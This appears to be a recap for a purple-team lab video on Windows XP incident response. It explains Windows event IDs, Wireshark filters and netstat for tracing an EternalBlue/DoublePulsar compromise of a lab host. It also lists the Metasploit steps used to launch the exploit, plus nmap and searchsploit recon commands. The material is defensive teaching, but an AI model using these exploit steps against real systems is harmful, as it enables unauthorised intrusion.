Windows XP Incident Response Part 2
When running this example, we've had to perform this on two different operating systems because wazuh would not work properly in Windows XP SP0 so, what I did was moved the exploitation fun to a Windows XP SP2. The exploit that I chose to use was the double pulsar exploit (wannacry), and showed how to track most of it's activity within the OS.
I've sat on this video for a while trying to collect the logs from windows event viewer into Wazuh to no avail. However, we will be testing soon in more modern operating systems (similar exploits) and tracking and (hopefully) forwarding those events so that you can see what we'd need to search and hunt for in a SIEM as if we are working in a larger organization or as a SOC analyst. As always I've included a recap of the steps and options within the tools that you see in the video.
For our recon phase, I will default to using the same nmap scans to keep things simple and consistent. In this case it was: nmap sS -sV -p -O -v 10.0.1.212. From that, we've tried to narrow down the operating system and search for exploits utilizing searchsploit and, metasploit.
=-=-=-=-=-=-=-=-=-=-=-=
Live Incident Response:
=-=-=-=-=-=-=-=-=-=-=-=
Event ID: 538 Anonymous logon - User Logoff. Triggers in windows when a user logs off that had previously logged in. Good for tracking user sessions.
Event ID: 540 Anonymous Login - Anonymous logins can be an indicator of a few things. Most notably null sessions (s-1-5-7) and can also be used to track reconnaissance before an attack is executed against your system.
Event ID: 577 Privilege use (register login process) - This windows ID can tell us a few things about the system that we should take very seriously. It can be an indicator of privilege escalation, lateral movement, account compromise and behavior violations (unexpected changes to groups or users) just to name a few. Any alerts that trigger this event should be looked into rather quickly! Additionally if the latter (unexpected changes to groups or users) analysts may want to try and hunt down tickets in systems such as SNOW or JIRA to determine if those changes are part of maintenance or, requested by the business. Manager approval within these requests is almost ALWAYS required. If approval by a manager is not required, you should raise concerns with management and the business.
592 process created - When a process is created (starting a program).
593 process has exited - When a process is exited or, terminates. These ID's can help in process tracking to determine who or what is executing certain applications and what applications. In our example, we seen a process was forked from CMD which was also communicating when we executed the netstat -ano command.
Event ID: 601 attempt to install service - This event ID can be an indicator of a few vectors of attack (similar to Event ID 577). Of the potential indicators there are: privilege escalation, malware installation. Not only the listed attack vectors but this can also indicate the potential of a rootkit being installed.
Links for Windows IDs: https://www.myeventlog.com/, https://www.ultimatewindowssecurity.c...
Links For Windows Session ID's: https://learn.microsoft.com/en-us/win...
Windows Commands:
netstat -ano list out the active connections
=-=-=-=-=-=-
Wireshark:
=-=-=-=-=-=-
Capture filters: In order to create a capture filter you want to go to Capture then, click on "capture filters" you can create your own custom filters. You can also create a capture filter from clicking on "Capture" and then, "Options." From the new dialog you can then click on your IP address and where it says "capture filter" input the capture filter that you'd like to apply. In our case and in this example we entered host 10.0.2.243 to filter out the attackers machine. This was done so that when we start the capture it automatically filters everything that does not match the machine we are looking to capture.
Wireshark Filter Commands:
ip.addr==192.168.1.1 filter traffic from a specific IP address.
tcp.port==4444 filter traffic from a specific TCP port.
udp.port==4444 filter traffic from a specific UDP port.
=-=-=-=-=-=-=-=-=-=
Exploit searching:
=-=-=-=-=-=-=-=-=-=
Metasploit:
search eternal blue
use 0
show options
set rhosts 10.0.1.212
set lhost wlan0 (if you are using wireless; you can also use your cards or IP address)
exploit
spolitsearch:
searchsploit double pulsar
searchsploit -t double pulsar
sploitsearch links: https://www.exploit-db.com/searchsploit, https://www.exploit-db.com/documentat..., https://github.com/redtrib3/Sploit-se...
Other notable links: https://sploitus.com/,
Downloads:
Wazuh Rule Settings & wireshark capture: https://drive.google.com/file/d/1UL50...
#incidentresponse #dfir #digitalforensics #socanalyst #cybersecurity #purpleteam #blueteam